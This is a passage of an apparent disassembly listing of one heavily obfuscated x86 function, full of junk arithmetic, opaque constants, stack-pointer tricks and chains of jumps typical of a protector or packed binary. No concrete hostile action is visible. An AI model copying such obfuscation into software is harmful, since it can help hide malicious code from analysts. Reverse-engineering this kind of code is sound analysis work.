edx not edx jmp loc_5A0A36 ; --------------------------------------------------------------------------- loc_5960D2: ; CODE XREF: sub_580566+1A984j push edi mov edi, 35F26215h jmp loc_59BDC6 ; --------------------------------------------------------------------------- loc_5960DD: ; CODE XREF: sub_580566+1FA7Bj xor ebp, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] cmp ecx, eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5960EB: ; CODE XREF: sub_580566+139ECj push [esp-1Eh+arg_1A] mov ebx, [esp-1Ah+arg_12] add esp, 4 pop [esp-1Eh+arg_16] mov esp, [esp-22h+arg_1A] jmp loc_5A0044 ; --------------------------------------------------------------------------- loc_596100: ; CODE XREF: sub_580566+20E74j mov ebx, 56EF669Bh xor ebx, edx pop edx xor ecx, ebx pop ebx add ecx, 414655E8h push eax jmp loc_5A0FA8 ; --------------------------------------------------------------------------- loc_596117: ; CODE XREF: sub_580566+1751Dj and edx, edi pop edi neg edx jmp loc_59B113 ; --------------------------------------------------------------------------- loc_596121: ; CODE XREF: sub_580566+224AFj xor dh, 69h push ecx mov cl, 6Bh jmp loc_5912C8 ; --------------------------------------------------------------------------- loc_59612C: ; CODE XREF: sub_580566+252CBj mov [esp+0], ebp mov ebp, 160E494Dh push esi mov esi, 2E8D4CA4h xor ebp, esi mov esi, [esp-22h+arg_1A] add esp, 4 sub esp, 4 jmp loc_5A00A8 ; --------------------------------------------------------------------------- loc_59614A: ; CODE XREF: sub_580566+13B08j mov ecx, 7A8157Fh sub esi, ecx pop ecx add eax, esi pop esi push eax push [esp-42h+arg_3C+2] jmp loc_59F95B ; --------------------------------------------------------------------------- loc_59615F: ; CODE XREF: sub_580566+1206Aj push ecx jmp loc_59C55F ; --------------------------------------------------------------------------- loc_596165: ; CODE XREF: sub_580566+253EFj mov ecx, [esp-3Eh+arg_34+2] push ecx jmp loc_59BAE6 ; --------------------------------------------------------------------------- loc_59616E: ; CODE XREF: sub_580566+14E10j xor edx, ecx mov ecx, [esp-3Ah+arg_30+2] jmp loc_596067 ; --------------------------------------------------------------------------- loc_596178: ; CODE XREF: sub_580566+1B63Bj mov [esp-3Ah+arg_30+2], eax sub esp, 4 mov [esp-36h+arg_2C+2], edx mov edx, 4C0C2F10h shr edx, 7 add edx, 1F6B1818h inc edx jmp loc_5A42E0 ; --------------------------------------------------------------------------- loc_596198: ; CODE XREF: sub_580566+1D84Aj push 489Ah jmp loc_5A35D2 ; --------------------------------------------------------------------------- loc_5961A2: ; CODE XREF: sub_580566+14BF9j xchg ebx, [esp-38h+arg_30] pop esp jmp loc_597700 ; --------------------------------------------------------------------------- loc_5961AB: ; CODE XREF: sub_580566+1A532j mov ebx, 4BAC37BAh not ebx dec ebx or ebx, 7EB56FF1h jmp loc_59808D ; --------------------------------------------------------------------------- loc_5961BE: ; CODE XREF: sub_580566+1460Fj push ecx mov ecx, 641A0846h and ecx, 56655816h sub ecx, 5719537Bh jmp loc_59E419 ; --------------------------------------------------------------------------- loc_5961D5: ; CODE XREF: sub_580566+10A7Fj pop [esp-42h+arg_38+2] pop esp xor edx, [esp-4Ah+arg_40+2] xor [esp-4Ah+arg_40+2], edx xor edx, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5961EA: ; CODE XREF: sub_580566+23983j pop ebp jmp loc_592857 ; --------------------------------------------------------------------------- loc_5961F0: ; CODE XREF: sub_580566+199CDj mov [edi+24h], esi mov esi, [esp-4Eh+arg_44+2] jmp loc_5A4110 ; --------------------------------------------------------------------------- loc_5961FB: ; CODE XREF: sub_580566+1430Ej mov ebx, 0C614FAB5h jmp loc_592B37 ; --------------------------------------------------------------------------- loc_596205: ; CODE XREF: sub_580566+1A5E8j sub edx, ebx jmp loc_590D68 ; --------------------------------------------------------------------------- loc_59620C: ; CODE XREF: sub_580566+24579j mov ebx, 4 add edx, 0B101CEEh jmp loc_5A5A0E ; --------------------------------------------------------------------------- loc_59621C: ; CODE XREF: sub_580566+11495j pop eax push [esp-3Eh+arg_34+2] jmp loc_597D05 ; --------------------------------------------------------------------------- loc_596225: ; CODE XREF: sub_580566+12225j or ebp, 12F1404Bh add ebp, 36E53852h sub ebx, ebp jmp loc_5919E9 ; --------------------------------------------------------------------------- loc_596238: ; CODE XREF: sub_580566+10B4Fj sub esi, 22B1358Dh add esi, ebp add esi, 22B1358Dh pop ebp push edi mov edi, 4 jmp loc_59957F ; --------------------------------------------------------------------------- loc_596252: ; CODE XREF: sub_580566+1864Fj add edi, ebx pop ebx add ebp, edi pop edi jmp loc_5A3346 ; --------------------------------------------------------------------------- loc_59625D: ; CODE XREF: sub_580566+2297Fj add edx, 60872409h sub ebx, 20A6963h add ebx, edx add ebx, 20A6963h mov edx, [esp-3Eh+arg_34+2] add esp, 4 xchg ebx, [esp-42h+arg_38+2] jmp loc_59E435 ; --------------------------------------------------------------------------- mov esp, [esp-42h+arg_38+2] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59628A: ; CODE XREF: sub_580566+19AD4j add ah, 0FFh mov dl, ah mov eax, [esp-42h+arg_38+2] jmp loc_5935A4 ; --------------------------------------------------------------------------- loc_596297: ; DATA XREF: sub_580566+10482o mov cx, word ptr [esp-42h+arg_38+2] push 3334h mov [esp-3Eh+arg_34+2], edi push esp pop edi push ebp mov ebp, 7612FC4h inc ebp sub ebp, 3D3E01E0h shr ebp, 7 sub esp, 4 mov [esp-36h+arg_2C+2], eax mov eax, 53194779h shl eax, 6 push edi push 597C2753h pop edi sub eax, 54501CDAh sub eax, edi add eax, 54501CDAh jmp loc_599C1C ; --------------------------------------------------------------------------- loc_5962DE: ; CODE XREF: sub_580566+1FC7Aj add ecx, ebx sub ecx, 509D4593h jmp loc_593D46 ; --------------------------------------------------------------------------- loc_5962EB: ; CODE XREF: sub_580566+16CB4j xor [esp-32h+arg_28+2], edx xor edx, [esp-32h+arg_28+2] jmp loc_5A2C33 ; --------------------------------------------------------------------------- loc_5962F6: ; CODE XREF: sub_580566+223D5j mov edx, edi pop edi mov ebx, edx pop edx add [esp-3Ah+arg_38+2], 1C00DA0h sub [esp-3Ah+arg_38+2], ebx jmp loc_59F8AB ; --------------------------------------------------------------------------- loc_59630D: ; CODE XREF: sub_580566+134F3j sub edi, ebx jmp loc_5A2CA2 ; --------------------------------------------------------------------------- loc_596314: ; CODE XREF: sub_580566+1540Aj sub ax, 4A96h push edi mov di, 6CB9h push bx sub esp, 4 mov [esp-20h+arg_16+2], eax mov ax, 47Eh mov bx, 40ECh add bx, ax jmp loc_598EA0 ; --------------------------------------------------------------------------- loc_596335: ; CODE XREF: sub_580566+1B076j push 0C657BEEFh pop edi add edi, 3A1C7A5Bh jmp loc_59C87C ; --------------------------------------------------------------------------- loc_596346: ; CODE XREF: sub_580566+22E23j mov [esp-20h+arg_16+2], ebx mov ebx, 3E380932h jmp loc_5936EC ; --------------------------------------------------------------------------- loc_596353: ; CODE XREF: sub_580566+1F670j push [esp-20h+arg_16+2] jmp loc_5A1D75 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp-18h+arg_E+2], edx push [esp-18h+arg_12+2] mov edx, [esp-14h+arg_A+2] add esp, 4 jmp loc_5A0CE1 ; --------------------------------------------------------------------------- loc_596370: ; CODE XREF: sub_580566+1B6D3j add edi, 4 sub edi, 4 jmp loc_593569 ; --------------------------------------------------------------------------- loc_596381: ; CODE XREF: sub_580566+22E18j add ecx, 4 add ecx, 4 xchg ecx, [esp-18h+arg_E+2] jmp loc_5918DF ; --------------------------------------------------------------------------- loc_596395: ; CODE XREF: sub_580566+16735j xor ebx, 7FFF7FEAh push eax jmp loc_59CCC3 ; --------------------------------------------------------------------------- loc_5963A1: ; CODE XREF: sub_580566+11A65j push eax mov al, 1Bh push ecx mov cl, al jmp loc_59C766 ; --------------------------------------------------------------------------- loc_5963AC: ; CODE XREF: sub_580566+2390Bj sub esp, 4 mov [esp-28h+arg_20], ecx mov ecx, 0C4F6BEFh push esi mov esi, 68CE0B8Fh add esi, 6DC07A32h add esi, 21851128h add ecx, esi pop esi add edx, 24966B1Bh jmp loc_5A4BAA ; --------------------------------------------------------------------------- loc_5963DA: ; CODE XREF: sub_580566+2155Fj mov edx, 11279E0h xor edx, 0D2246504h sub ebp, edx pop edx xor esi, ebp pop ebp jmp loc_591B63 ; --------------------------------------------------------------------------- loc_5963F0: ; CODE XREF: sub_580566+1DF21j pop esp push 38C5h mov [esp-30h+arg_28], edi push esp pop edi push ebp push esi sub esp, 4 mov [esp-24h+arg_1A+2], eax push 48AE0F83h pop eax sub eax, 143F3ECCh jmp loc_59EF01 ; --------------------------------------------------------------------------- loc_596416: ; CODE XREF: sub_580566+10D3Fj mov esi, 4 add ecx, esi push [esp-30h+arg_28] jmp loc_59D08C ; --------------------------------------------------------------------------- loc_596425: ; CODE XREF: sub_580566+1FA96j mov esi, 781F3B0Dh sub ebp, esi pop esi pop ebx push esi mov esi, 70345737h dec esi neg esi xor esi, 88D9D90Fh add edx, esi pop esi add edx, ebp jmp loc_591009 ; --------------------------------------------------------------------------- loc_596447: ; CODE XREF: sub_580566+10FC3j or ebp, 5ECF1794h shr ebp, 1 push ecx jmp loc_5918EE ; --------------------------------------------------------------------------- loc_596455: ; CODE XREF: sub_580566+137ECj xchg ecx, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] mov [esp-36h+arg_2C+2], esi push edx push 414D1D9Fh mov edx, [esp-2Eh+arg_24+2] add esp, 4 jmp loc_59B6F6 ; --------------------------------------------------------------------------- loc_59646F: ; CODE XREF: sub_580566+1B43Fj add [ecx], ebx jmp loc_59AA9D ; --------------------------------------------------------------------------- loc_596476: ; CODE XREF: sub_580566+1CD22j mov [esp-32h+arg_28+2], esi push esp pop esi add esi, 4 push ebx mov ebx, 2 add esi, ebx jmp loc_5A5492 ; --------------------------------------------------------------------------- loc_59648E: ; CODE XREF: sub_580566+14CCFj add esp, 4 add esp, 4 add ebx, 4 add ebx, 4 push ebx jmp loc_5A5A68 ; --------------------------------------------------------------------------- loc_5964A9: ; CODE XREF: sub_580566+25529j push edi jmp loc_596A6F ; --------------------------------------------------------------------------- loc_5964AF: ; CODE XREF: sub_580566+1DE2Aj sub esp, 4 jmp loc_59FAE8 ; --------------------------------------------------------------------------- loc_5964B7: ; DATA XREF: sub_580566+1049Eo movzx ax, byte ptr [edx] push 7497h mov [esp-2Ah+arg_20+2], ebp sub esp, 4 jmp loc_5A3CBA ; --------------------------------------------------------------------------- loc_5964CB: ; CODE XREF: sub_580566+18A37j add ebx, edi push 5E1Ch mov [esp-22h+arg_1A], edx sub esp, 4 mov [esp-1Eh+arg_16], ebx jmp loc_59B6D8 ; --------------------------------------------------------------------------- loc_5964E0: ; CODE XREF: sub_580566+11146j xor esi, [esp-40h+arg_38] xor [esp-40h+arg_38], esi xor esi, [esp-40h+arg_38] pop esp jmp loc_59EE14 ; --------------------------------------------------------------------------- loc_5964EF: ; CODE XREF: sub_580566+1A3B0j sub eax, 393A4D45h mov edi, eax pop eax push edi mov edi, 0D495563h sub edi, 0AA1EE2AFh add edx, edi pop edi jmp loc_5A4369 ; --------------------------------------------------------------------------- loc_59650B: ; CODE XREF: sub_580566+1324Fj mov edi, 4C203C2Eh add edi, 0B3DFC3D6h add ebp, 0BCA1FD7h add ebp, edi push ebx mov ebx, 2452A61h add ebx, 73EC6433h jmp loc_59FB2F ; --------------------------------------------------------------------------- loc_59652F: ; CODE XREF: sub_580566+2437Fj add esp, 4 push [esp-4Ah+arg_40+2] pop ecx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-46h+arg_3C+2] jmp loc_59A1CF ; --------------------------------------------------------------------------- loc_59654E: ; CODE XREF: sub_580566+148F4j push ebp mov ebp, 2B334DCAh add ebp, 0D4CCB23Ah add ecx, ebp jmp loc_594C92 ; --------------------------------------------------------------------------- loc_596561: ; CODE XREF: sub_580566+1DB5Ej mov ebp, [esp+0] push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp push eax jmp loc_590FE0 ; --------------------------------------------------------------------------- loc_59657B: ; CODE XREF: sub_580566+190CEj shr cl, 5 xor cl, 0FAh jmp loc_591A29 ; --------------------------------------------------------------------------- loc_596586: ; CODE XREF: sub_580566+1142Fj mov bh, 0C1h xor bh, dh jmp loc_5927B1 ; --------------------------------------------------------------------------- loc_59658F: ; CODE XREF: sub_580566+14753j sub esi, 358465D8h add esi, ebx add esi, 358465D8h mov ebx, [esp-42h+arg_38+2] jmp loc_5981B8 ; --------------------------------------------------------------------------- loc_5965A5: ; CODE XREF: sub_580566+210A4j mov ecx, 0B440045h push edi mov edi, ecx mov edx, edi pop edi pop ecx add edx, 6E2B7D5Eh push ebp mov ebp, 36C0034h and ebp, 79423C1Dh dec ebp jmp loc_5A02F3 ; --------------------------------------------------------------------------- loc_5965C9: ; CODE XREF: sub_580566+2407Bj pop esp mov [esp-46h+arg_3C+2], eax jmp loc_597FE1 ; --------------------------------------------------------------------------- loc_5965D2: ; CODE XREF: sub_580566+15117j or eax, 7A0E6C9Ch not eax push ebp push edx push 67B9789Fh pop edx sub edx, 52414902h sub edx, 1D2B319Ch sub edx, 729C7CDDh mov ebp, edx pop edx sub eax, ebp pop ebp sub edi, eax pop eax neg edi add edi, 112F3159h sub ecx, 320427D4h jmp loc_5A32F4 ; --------------------------------------------------------------------------- loc_59660F: ; CODE XREF: sub_580566+14ABDj sub esi, 61D11B64h shr esi, 5 shr esi, 8 shr esi, 6 xor esi, 4D0771ACh sub ecx, 32780130h sub ecx, esi push edi mov edi, 665D4D87h add edi, 498B77FAh or edi, 6E5B70F3h neg edi push ebp mov ebp, 3240BF9h shr ebp, 2 add ebp, 455F19FDh dec ebp add ebp, 0DC4BDA29h add edi, ebp pop ebp add ecx, edi pop edi mov esi, [esp-28h+arg_20] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp-24h+arg_1A+2] xor [esp-24h+arg_1A+2], ebp jmp loc_5A1CF7 ; --------------------------------------------------------------------------- loc_596676: ; CODE XREF: sub_580566+106F2j mov [esp-3Eh+arg_34+2], edx push ebx jmp loc_599FB4 ; --------------------------------------------------------------------------- loc_59667F: ; CODE XREF: sub_580566+13934j sub esp, 4 mov [esp-3Ah+arg_30+2], edx jmp loc_5A26F8 ; --------------------------------------------------------------------------- loc_59668D: ; CODE XREF: sub_580566+1C222j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_596692: ; CODE XREF: sub_580566+1E38Dj add esp, 4 push ebx mov ebx, 61063594h xor ebx, 56106F10h or ebx, 333B6877h and ebx, 5ACA1150h push 76F6h mov [esp-36h+arg_2C+2], ecx mov ecx, 0EDF5EFB4h add ebx, ecx pop ecx jmp loc_5A37BF ; --------------------------------------------------------------------------- loc_5966C2: ; CODE XREF: sub_580566+22C75j add ebx, 4 xchg ebx, [esp-3Ah+arg_30+2] pop esp push ebp mov ebp, 668F2796h xor ebx, ebp jmp loc_5A1B54 ; --------------------------------------------------------------------------- loc_5966D9: ; CODE XREF: sub_580566+11B26j add esi, ebx pop ebx xchg esi, [esp-3Ch+arg_34] pop esp push edi jmp loc_595476 ; --------------------------------------------------------------------------- loc_5966E6: ; CODE XREF: sub_580566+2530Bj xor [esp-3Ch+arg_34], ebp xor ebp, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] add ebx, 4 sub ebx, 2 xor ebx, [esp-3Ch+arg_34] jmp loc_59F27F ; --------------------------------------------------------------------------- loc_596703: ; CODE XREF: sub_580566+25174j sub ecx, 0C0C26223h sub eax, ecx jmp loc_5A0342 ; --------------------------------------------------------------------------- loc_596710: ; CODE XREF: sub_580566+16E0Aj xor eax, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] jmp loc_59D2FA ; --------------------------------------------------------------------------- loc_59671B: ; CODE XREF: sub_580566+14C26j mov ecx, [esp-3Eh+arg_34+2] add esp, 4 jmp loc_5A35FB ; --------------------------------------------------------------------------- loc_596729: ; CODE XREF: sub_580566+253D1j sub ecx, 0E5D175Ch add ecx, edx push ebp mov ebp, 0E5D175Ch add ecx, ebp pop ebp sub ecx, 50991437h push [esp-42h+arg_38+2] pop edx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-3Eh+arg_34+2] pop esp add edi, ecx mov ecx, [esp-42h+arg_38+2] jmp loc_5A2BCC ; --------------------------------------------------------------------------- loc_596761: ; CODE XREF: sub_580566+20570j add esp, 4 mov edx, [esp-46h+arg_3C+2] add esp, 4 push ebx mov ebx, 71092677h xor edx, ebx push [esp-46h+arg_3C+2] pop ebx jmp loc_59A25D ; --------------------------------------------------------------------------- loc_59677E: ; CODE XREF: sub_580566+19529j mov [esp-46h+arg_3C+2], ebp push eax mov eax, 6AC737EEh jmp loc_590F65 ; --------------------------------------------------------------------------- loc_59678C: ; CODE XREF: sub_580566+12BF1j pop ebx push eax mov eax, 61084B32h sub eax, 18127308h xor eax, 303D336Eh add eax, 0F1A0451Bh sub ebx, eax pop eax pop eax shr ebx, 7 neg ebx sub ebx, 0E3FB68DDh add eax, ebx pop ebx sub esp, 4 mov [esp-52h+arg_48+2], edi mov edi, 36711D73h jmp loc_59CD1C ; --------------------------------------------------------------------------- loc_5967C7: ; CODE XREF: sub_580566+1D8D3j mov ah, bl pop ebx add ch, ah mov ax, word ptr [esp-56h+arg_4E] push edi mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp-52h+arg_48+2] pop esp jmp loc_592E41 ; --------------------------------------------------------------------------- loc_5967E8: ; CODE XREF: sub_580566+22CF4j push edi mov edi, 13097CEAh sub [esp-52h+arg_56], edi pop edi pop ebx sub esp, 4 mov [esp-56h+arg_4E], ecx mov ecx, 4A720F40h add [esp-56h+arg_56], ecx pop ecx mov edx, [esp-5Ah+arg_52] push 3FDDh mov [esp-56h+arg_4E], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-56h+arg_4E] pop esp jmp loc_593949 ; --------------------------------------------------------------------------- loc_596826: ; CODE XREF: sub_580566+13690j sub ebx, 170B007Bh add ebx, edx add ebx, 170B007Bh push 4733h mov [esp-32h+arg_28+2], edx mov edx, 0 sub edx, 9A5B52h jmp loc_591CA6 ; --------------------------------------------------------------------------- loc_59684C: ; CODE XREF: sub_580566+1ABDBj mov bh, 0AAh not bh jmp loc_5A1BFB ; --------------------------------------------------------------------------- loc_596855: ; CODE XREF: sub_580566+13300j and eax, 663B5B16h jmp loc_59F4E7 ; --------------------------------------------------------------------------- loc_59685F: ; CODE XREF: sub_580566+1742Dj shl edx, 3 xor edx, 707A334Ch jmp loc_5A16B7 ; --------------------------------------------------------------------------- loc_59686D: ; CODE XREF: sub_580566+1124Dj mov esi, 2B41651Ch neg esi dec esi shr esi, 4 sub esi, 5E7E15D4h sub esi, 0AECDD3D6h mov edx, esi pop esi sub ecx, 3C452F21h sub ecx, edx push esi jmp loc_59B769 ; --------------------------------------------------------------------------- loc_596895: ; CODE XREF: sub_580566+1C675j add esp, 4 jmp loc_5913CF ; --------------------------------------------------------------------------- loc_59689D: ; CODE XREF: sub_580566+195DEj xchg ebp, ecx sub esp, 4 jmp loc_5A0B86 ; --------------------------------------------------------------------------- loc_5968AA: ; CODE XREF: sub_580566+1F340j push ebx push ecx mov ch, 90h mov bl, ch pop ecx xor bl, 6Eh sub bl, 49h jmp loc_59DDFF ; --------------------------------------------------------------------------- loc_5968BC: ; CODE XREF: sub_580566+2007Dj xchg ebp, edi xchg edx, ebp not edx xchg edx, ebp jmp loc_59AB0A ; --------------------------------------------------------------------------- loc_5968C9: ; CODE XREF: sub_580566+24DAAj xor cl, bl push [esp-2Ch+arg_24] mov ebx, [esp-28h+arg_20] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_594E38 ; --------------------------------------------------------------------------- loc_5968E1: ; CODE XREF: sub_580566+187B6j mov [esp-28h+arg_20], ebx push 7656h mov [esp-24h+arg_1A+2], ebp push 36127B59h mov ebp, [esp-20h+arg_16+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-1Ch+arg_12+2] jmp loc_5A4A8D ; --------------------------------------------------------------------------- loc_59690B: ; CODE XREF: sub_580566+1E1F9j push ecx push [esp-18h+arg_12+2] pop ecx pop [esp-18h+arg_E+2] pop esp jmp loc_592C95 ; --------------------------------------------------------------------------- loc_59691A: ; CODE XREF: sub_580566+223C9j pop esp push [esp-24h+arg_1A+2] pop esi push ebx push esp pop ebx add ebx, 4 push 4A1Eh mov [esp-1Ch+arg_12+2], esi mov esi, 4 jmp loc_5A2569 ; --------------------------------------------------------------------------- loc_59693A: ; CODE XREF: sub_580566+199DBj push 7A3h mov [esp-18h+arg_E+2], esp push edi mov edi, 4 jmp loc_59CF97 ; --------------------------------------------------------------------------- loc_59694D: ; CODE XREF: sub_580566+10916j push [esp-3Eh+arg_34+2] pop ebx add esp, 4 add ebx, 4 push edx push 4D7h mov [esp-3Ah+arg_30+2], ebx mov ebx, 2 push 17CBh mov [esp-36h+arg_2C+2], ebx pop edx push [esp-3Ah+arg_30+2] pop ebx add esp, 4 add ebx, 25813EB2h add ebx, edx push edx jmp loc_599A03 ; --------------------------------------------------------------------------- loc_59698C: ; CODE XREF: sub_580566+1AE6Ej push [esp-3Ah+arg_30+2] pop ebp jmp loc_59CF7D ; --------------------------------------------------------------------------- loc_596995: ; DATA XREF: sub_580566+1046Ao mov ax, word ptr [esp-3Ah+arg_30+2] jmp loc_5A2C81 ; --------------------------------------------------------------------------- loc_59699E: ; CODE XREF: sub_580566+12AF5j push esi mov esi, ebp push esi sub esp, 4 mov [esp-2Eh+arg_24+2], edi mov edi, 17F7740h xor [esp-2Eh+arg_28+2], edi jmp loc_59CDEE ; --------------------------------------------------------------------------- loc_5969B6: ; CODE XREF: sub_580566+14686j shr edx, 5 neg edx shl edx, 1 add edx, 476232Ch jmp loc_592E08 ; --------------------------------------------------------------------------- loc_5969C8: ; CODE XREF: sub_580566+1FA86j push edx push esp pop edx jmp loc_5A3326 ; --------------------------------------------------------------------------- loc_5969D0: ; CODE XREF: sub_580566+1A7CAj pop esi push esi mov esi, 2 jmp loc_598DA1 ; --------------------------------------------------------------------------- loc_5969DC: ; DATA XREF: sub_580566+104B6o lodsd jmp loc_59B1DD ; --------------------------------------------------------------------------- loc_5969E2: ; CODE XREF: sub_580566+1E9E1j push edi push [esp-3Eh+arg_38+2] pop edi pop [esp-3Eh+arg_34+2] pop esp jmp loc_5985F8 ; --------------------------------------------------------------------------- loc_5969F1: ; CODE XREF: sub_580566+17F0Fj push ebx jmp loc_5956A9 ; --------------------------------------------------------------------------- loc_5969F7: ; CODE XREF: sub_580566+22DCCj xchg edx, [esp-42h+arg_38+2] jmp loc_5A168C ; --------------------------------------------------------------------------- loc_5969FF: ; CODE XREF: sub_580566+1BB2Dj pop edi sub eax, 7C187F85h add ebx, eax pop eax xchg ebx, [esp-4Ah+arg_40+2] jmp loc_59D2EE ; --------------------------------------------------------------------------- loc_596A10: ; CODE XREF: sub_580566+20E56j push eax mov eax, 1B446617h mov ecx, eax pop eax dec ecx add ecx, 1 xor ecx, 72B05132h sub esp, 4 mov [esp-46h+arg_3C+2], eax mov eax, 60656D82h sub eax, 1 push ebx mov ebx, 0DA2710EAh add eax, ebx pop ebx sub ecx, eax jmp loc_5A56D1 ; --------------------------------------------------------------------------- loc_596A46: ; CODE XREF: sub_580566+13110j push dx mov dh, 45h jmp loc_593401 ; --------------------------------------------------------------------------- loc_596A4F: ; CODE XREF: sub_580566+1A43Aj pop ecx push 77EAh mov [esp-2Ah+arg_20+2], ebp jmp loc_59258C ; --------------------------------------------------------------------------- loc_596A5D: ; CODE XREF: sub_580566+185EDj mov [esp-2Ah+arg_20+2], eax mov eax, 4 add ebp, eax mov eax, [esp-2Ah+arg_20+2] jmp loc_5A4834 ; --------------------------------------------------------------------------- loc_596A6F: ; CODE XREF: sub_580566+15F44j mov edi, 4 mov ecx, edi jmp loc_5A10B0 ; --------------------------------------------------------------------------- loc_596A7B: ; CODE XREF: sub_580566+22944j pop eax or dh, cl mov cx, word ptr [esp-36h+arg_2C+2] jmp loc_5A1956 ; --------------------------------------------------------------------------- loc_596A87: ; CODE XREF: sub_580566+1B13Ej push [esp-36h+arg_30+2] jmp loc_59EFE0 ; --------------------------------------------------------------------------- loc_596A90: ; CODE XREF: sub_580566+198B9j xor esi, 39894577h add esi, 5C112672h push 4B3Fh mov [esp-2Eh+arg_24+2], edi mov edi, 0FFFFFFFFh sub esi, edi pop edi push ebx mov ebx, 56E61640h sub ebx, 8B7ECE0h xor esi, ebx pop ebx dec esi jmp loc_5945E5 ; --------------------------------------------------------------------------- loc_596AC1: ; CODE XREF: sub_580566+21C31j mov ebx, 3EDC7341h sub eax, ebx pop ebx push 4B37h mov [esp-32h+arg_28+2], ecx mov ecx, 4A3301D7h sub eax, 66CD7BFEh add eax, ecx add eax, 66CD7BFEh jmp loc_59ACB3 ; --------------------------------------------------------------------------- loc_596AE7: ; CODE XREF: sub_580566+19F90j mov ebx, 4DC7343Bh xor ecx, ebx pop ebx sub ecx, 4DC33427h add eax, ecx pop ecx jmp loc_5941F0 ; --------------------------------------------------------------------------- loc_596AFD: ; CODE XREF: sub_580566+23008j add ecx, eax jmp loc_590D23 ; --------------------------------------------------------------------------- loc_596B04: ; CODE XREF: sub_580566+1CE6Ej add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_596B0F: ; CODE XREF: sub_580566+2347Bj pop esp jmp loc_59AE21 ; --------------------------------------------------------------------------- loc_596B15: ; CODE XREF: sub_580566+22BA5j add ecx, edi jmp loc_59CA5E ; --------------------------------------------------------------------------- loc_596B1C: ; CODE XREF: sub_580566+12C5Bj pop eax push 553Dh mov [esp-3Eh+arg_34+2], esi xor [esp-3Eh+arg_34+2], 3B3C5DC1h pop ebp push eax mov eax, 6BD86A9Ch neg eax or eax, 1479699Bh or eax, 507B5167h push ecx mov ecx, 4C273F3h jmp loc_5A07A3 ; --------------------------------------------------------------------------- loc_596B4A: ; CODE XREF: sub_580566+19D29j sub ebp, 6CAD6929h add ebp, esi add ebp, 6CAD6929h mov esi, [esp-3Ah+arg_30+2] add esp, 4 push ebp jmp loc_593551 ; --------------------------------------------------------------------------- loc_596B67: ; CODE XREF: sub_580566+1B482j pop eax shr ebp, 6 jmp loc_5A3AC1 ; --------------------------------------------------------------------------- loc_596B70: ; CODE XREF: sub_580566+2432Fj pop [esp-3Eh+arg_34+2] add [esp-42h+arg_38+2], 4 pop esi push 0F6Fh mov [esp-42h+arg_38+2], eax mov eax, 4 add esi, 3383666Ch add esi, eax sub esi, 3383666Ch push [esp-42h+arg_38+2] push [esp-3Eh+arg_34+2] pop eax add esp, 4 jmp loc_59E23E ; --------------------------------------------------------------------------- loc_596BA5: ; CODE XREF: sub_580566+1A3EDj shl dh, 4 add dh, 22h sub bl, dh pop dx jmp loc_59AC50 ; --------------------------------------------------------------------------- loc_596BB4: ; CODE XREF: sub_580566+238D8j sub ebx, edi pop edi push ebp mov ebp, 6FF4768Eh add ebp, 42E2505Fh jmp loc_599111 ; --------------------------------------------------------------------------- loc_596BC8: ; CODE XREF: sub_580566+1506Aj push 46887583h mov eax, [esp-44h+arg_3C] add esp, 4 push ebp jmp loc_5944D4 ; --------------------------------------------------------------------------- loc_596BDC: ; CODE XREF: sub_580566+1EB33j add edi, 4 add edi, 4 xchg edi, [esp-44h+arg_3C] pop esp push 542Ah mov [esp-44h+arg_3C], ecx push [esp-44h+arg_40] jmp loc_599A3B ; --------------------------------------------------------------------------- loc_596BFA: ; CODE XREF: sub_580566+1543Fj xor bl, 0Fh push eax mov ah, 6Bh neg ah sub ah, 0Eh sub bl, ah pop eax add bl, 46h and bl, 48h sub bl, 1 jmp loc_59C1A3 ; --------------------------------------------------------------------------- loc_596C16: ; CODE XREF: sub_580566+1DCCCj add esi, ecx pop ecx push ecx sub esp, 4 jmp loc_59991E ; --------------------------------------------------------------------------- loc_596C22: ; CODE XREF: sub_580566+11C81j pop esp mov [esp-4Ch+arg_44], edx jmp loc_598F95 ; --------------------------------------------------------------------------- loc_596C2B: ; CODE XREF: sub_580566+12499j inc bl dec bl shr bl, 4 xor bl, 0CFh sub dh, bl mov ebx, [esp-34h+arg_2C] jmp loc_59C023 ; --------------------------------------------------------------------------- loc_596C3F: ; CODE XREF: sub_580566+14FE1j push edx mov edx, 34CC3D87h not edx shr edx, 2 jmp loc_59FAFF ; --------------------------------------------------------------------------- mov cx, word ptr [esp-36h+arg_2C+2] push edx jmp loc_594685 ; --------------------------------------------------------------------------- loc_596C59: ; CODE XREF: sub_580566+16799j add ebp, edi jmp loc_5A387B ; --------------------------------------------------------------------------- loc_596C60: ; CODE XREF: sub_580566+2538Ej xor eax, ebx sub esp, 4 mov [esp-2Eh+arg_24+2], esi mov esi, esp add esi, 4 jmp loc_5A50FE ; --------------------------------------------------------------------------- loc_596C78: ; CODE XREF: sub_580566+1BA84j sub eax, edi pop edi shl eax, 1 xor eax, 1F6D9C7Ch add edx, eax pop eax jmp loc_59430F ; --------------------------------------------------------------------------- loc_596C8A: ; CODE XREF: sub_580566+24D9Dj xor ecx, 13532602h jmp loc_5A23C9 ; --------------------------------------------------------------------------- loc_596C95: ; CODE XREF: sub_580566+1E428j or ebx, 1A3D7784h jmp loc_596395 ; --------------------------------------------------------------------------- loc_596CA0: ; CODE XREF: sub_580566+10631j push [esp-5Ah+arg_52] mov eax, [esp-56h+arg_4E] push esi mov esi, esp add esi, 4 jmp loc_594284 ; --------------------------------------------------------------------------- loc_596CB4: ; CODE XREF: sub_580566+1EBB6j mov ecx, 50F20350h sub 